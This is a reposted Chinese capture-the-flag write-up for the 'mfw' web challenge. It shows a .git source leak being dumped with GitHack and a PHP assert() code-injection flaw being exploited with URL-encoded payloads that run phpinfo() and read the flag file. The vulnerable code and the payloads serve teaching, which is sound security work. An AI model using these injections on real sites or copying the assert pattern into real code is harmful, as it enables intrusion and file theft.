微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

攻防世界Web_mfw

一、git源码泄露

【实验原理】

git源码泄露,命令执行

【实验目的】

了解git源码泄露的处理方法

 

二、题目:

 

 

  1.发现没啥突破点,打开页面源码查看一下。之前都是右键查看源码,现在又get一个知识点view-source:http://111.200.241.244:56504/也能查看源码。

 

 

    2.得到?page=flag的信息。尝试访问一下,发现没有反应。

   

 

  3.发现这条路不通,重新找线索,进入About页面,发现使用Git + PHP + Bootstrap架构。

  

 

 

   4.查看一下有没有Git源码泄露,先用disrearch扫描一下目录。发现存在Git源码泄露漏洞

  

 

 

 

    5.使用 GitHack ( https://github.com/lijiejie/GitHack )工具,直接用git clone下载。

   

  用法都一样,不会就查看帮助文档。

  

  6.python2 GitHack.py http://111.200.241.244:56504/.git/ 已经下载好了,直接查看。

  

 

   7.发现存在templates/flag.PHP ,直接查看,发现没有内容

   

 

  8.打开index.PHP查看一下源码,进行代码审计。

 

<?PHP

if (isset($_GET['page'])) {
        $page = $_GET['page'];
} else {
        $page = "home";
}

$file = "templates/" . $page . ".PHP";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// Todo: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>

代码审计得:

GET传page参数没有做过滤,所以我们可以进行命令执行漏洞。  

assert() 检查一个断言是否为 false,assert()函数会将括号中的字符当成代码来执行,并返回true或false.
strpos() 函数查找字符串在另一字符串中第一次出现的位置。如果没有找到则返回False。
file_exists() 函数检查文件或目录是否存在。

利用assert特性
bool assert(mixed $assertion[,string $description]) 如果assertion是字符串,他会被assert()当做PHP代码执行。

思路是通过可控变量file传入恶意参数,构造闭合 file_exists(),使assert()执行恶意代码

构造file语句,')or PHPinfo();#   此处是闭合file_exists()函数 效果如下:

assert("file_exists('') or PHPinfo();#')")   执行PHPinfo()代码


?page=') or PHPinfo();#   记得需要url编码。

结果如下:

 

既然能够进行命令执行,我们需要获得的内容是templates/flag.PHP 构造file语句:

') or print_r(file_get_contents('templates/flag.PHP'));#     

')%20or%20print_r(file_get_contents('templates%2fflag.PHP'))%3b%23    

url编码后输入view-source:http://111.200.241.244:57130/?page=%27)%20or%20print_r(file_get_contents(%27templates%2fflag.PHP%27))%3b%23

 

 

 =====================================================================================================

总结:

 

git源码泄露

 

当在一个空目录执行 git init 时,Git 会创建一个 .git 目录。 这个目录包含所有的 Git 存储和操作的对象。 如果想备份或复制一个版本库,只需把这个目录拷贝至另一处就可以了

 

比如某个网站存在.git文件泄露,可以:

http://www.baidu.com/.git

 

利用方式: github上的githack可以把整个.git备份的文件下载下来。它能解析 .git/index 文件,并找到工程中所有的:文件名和文件 sha1,然后去 .git/objects/ 文件夹下下载对应的文件,通过 zlib 解压文件,按原始的目录结构写入源代码

 

利用assert特性
bool assert(mixed $assertion[,string $description]) 如果assertion是字符串,他会被assert()当做PHP代码执行。

思路是通过可控变量file传入恶意参数,构造闭合 file_exists(),使assert()执行恶意代码


 

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐